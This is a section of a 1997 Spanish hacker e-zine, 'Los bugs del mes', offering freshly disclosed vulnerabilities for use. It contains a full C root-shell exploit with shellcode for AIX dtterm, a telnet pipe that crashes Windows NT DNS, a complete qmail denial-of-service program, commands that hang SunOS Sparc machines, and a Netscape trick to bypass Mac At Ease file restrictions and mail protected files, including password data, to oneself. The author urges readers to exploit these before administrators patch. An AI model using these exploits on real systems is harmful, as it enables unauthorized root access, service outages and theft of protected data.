SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Los bugs del mes

      3657

Autor: Paseante
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 07. LOS BUGS DEL MES                                                      o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII


Siempre el mismo dilema, no se pueden poner bugs antiguos por que la gente
se queja y con razon pero tampoco se puede poner lo ultimo puesto que la
utilidad de un bug es inversamente proporcional al n§ de gente que lo
conoce. Lo siento pero se que todo lo que publico aqui no me va a servir
de nada en el mismo instante que la revista vea la luz, no obstante este
mes tiro la casa por la ventana, puede que sea el "especialista" en bugs
de Saqueadores y sin embargo he dejado que otros escribiesen esta seccion
que a veces, francamente, ha sido demasiado anticuada.

SE ACABO, en este numero teneis bugs para todos los gustos desde NT 4.0
hasta AIX pasando por Mac y todos _fresquitos_. šComo de frescos? Ninguno
con mas de dos meses en el momento de escribir estas lineas (12-Jun-97)
algunos con menos de un mes de existencia incluso. CALIDAD de la buena.
Aprovechaos antes que los administradores despierten, aunque bien pensado
no hay prisa algunos siguen pensando que el Explorer es seguro :DD.


Para: Aix
Tema: Conseguir shell de root
Patch: Manual, no lo pongo por que soy asi de torero.
Credit: George Guninski

/* Para obtener un shell de root, testeado en Aix 4.2 con RS/6000*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char prog[100]="/usr/dt/bin/dtterm";
char prog2[30]="dtterm";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

/*El programa*/
main(int argc,char **argv,char **env)
{
/*El codigo*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* El desensamblado
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* direccion de retorno */
int corr=1000;
char *args[4];
char *arg1="-ms";
char *newenv[8];
int startwith=0;

mn=200;
max=300;

if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop<mn;nop++)
 buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

/* 4 vars debido a que la correcta debe alinearse con un limite de 4 bytes */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);


newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Se establecen unos frame pointers */
puts("Start...");/*Vamos!*/
execve(prog,args,newenv);
perror("Error executing execve \n");

Descripcion y Notas:

En usr/dt/bin/dtterm y/o en libXt se puede provocar un overflow de buffer
que nos de acceso al shell de root, este bug ha funcionado en AIX 4.2
Para compilar el programa

Usa el IBM C compiler.
Compilar con: cc -g aixdtterm.c
En algun caso se puede necesitar un poco de fuerza bruta.
DISPLAY debe ser cualquiere valido.
     --------------------------------------------------------



Para: Windows NT
Tema: Violacion de DNS 
Patch: En el server de Msoft , en fase beta.

telnet <anycomputer> 19 | telnet <anycomputer> 53

Descripcion y Notas:

Este comando efectua una conexion Telnet con el puerto 19 que genera una
cadena de caracteres, el output es entonces redirigido a la conexion
Telnet del puerto 53 (DNS), se provoca asi un "flood" que causa una Violacion
de Acceso en el servicio DNS, o sea la maquina a partir de entonces deja
de prestar servicios de conversion DNS/IP. šOs suena lo de "Unable to
resolve host name.."
     --------------------------------------------------------



Para: Qmail
Tema: Denegacion de Servicio qmail-smtpd
Patch: Manual
Credits: Jedi/Sector One

/* Programa para tumbar a Q-mail */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void    fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

chat(FILE * fp, char *fmt,...)
{
    char    buf[BUFSIZ];
    va_list ap;

    fseek(fp, 0L, SEEK_SET);
    va_start(ap, fmt);
    vfprintf(fp, fmt, ap);
    va_end(ap);
    fputs("\r\n", fp);
    if (fflush(fp))
        fatal("connection lost");
    fseek(fp, 0L, SEEK_SET);
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    if (atoi(buf) / 100 != 2)
        fatal("%s", buf);
}

int     main(int argc, char **argv)
{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE   *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    chat(fp, "mail from:<me@me>", fp);
    for (;;)
        chat(fp, "rcpt to:<me@%s>", argv[1]);
}


Descripcion y Notas:

Qmail-dos-2 hace que un sistema de correo qmail se quede sin espacio de
intercambio al enviarle una cantidad infinita de destinatarios de un
mensaje.
Uso: qmail-dos-2 <nombre de host completo> (sin <> por supuesto)
Por supuesto el autor no se hace responsable de nada, si no te lo crees
mira el 'disclaimer' al inicio de la revista.
      --------------------------------------------------------



Para: SunOS
Tema: Cuelgue
Patch: Manual

1) cat /dev/tcx0
2) ls /dev/tcx0/*
3) cat /dev/zero > cat /dev/keyboard

Descripcion y Notas:

Los dos primeros cuelgan una Sparc 5 o Sparc 20 bajo SunOS 4.1.4, no cae
la Sparc 10 y puede funcionar o no con otras versiones de SunOS.
El ultimo cuelga cualquier cosa entre Sparc1-Sparc10 si utiliza SunOS.
Por supuesto siempre y cuando el administrador no se haya molestado en
corregir ese defecto, recuerdo que no hay patch sino que tiene que ser
un trabajo "manual".
     ---------------------------------------------------------



Para: Mac/At Ease
Tema: Romper proteccion
Patch: ?

Ejecutar Netscape
file://muy%20secreto/Chanchullos/gordos.txt

Descripcion y Notas:
At Ease es un programa que permite introducir restricciones de acceso a
ficheros y directorios pero 'lastimosamente' esta proteccion se viene abajo
si se utiliza Netscape para acceder a dichos ficheros con la sintaxis arriba
descrita y donde %20 equivale a espacio.
Si el fichero no es de texto o representable por Netscape, ­no hay problema!,
podemos grabarlo en un directorio al que si tengamos acceso y una vez ahi
manipularlo a nuestro antojo.

Las posibilidades son inmensas, puesto que _cualquier archivo de la red_
protegido con At Ease esta a nuestro alcance, ­­solo tenemos que mandarnoslo
por correo a nosotros mismos!! (usando el mailto de Netscape).
Por ejemplo šque me decis de coger el archivo de preferencias de At Ease que
contiene las claves del "master"?
     --------------------------------------------------------

Este mes no os quejeis de los bugs.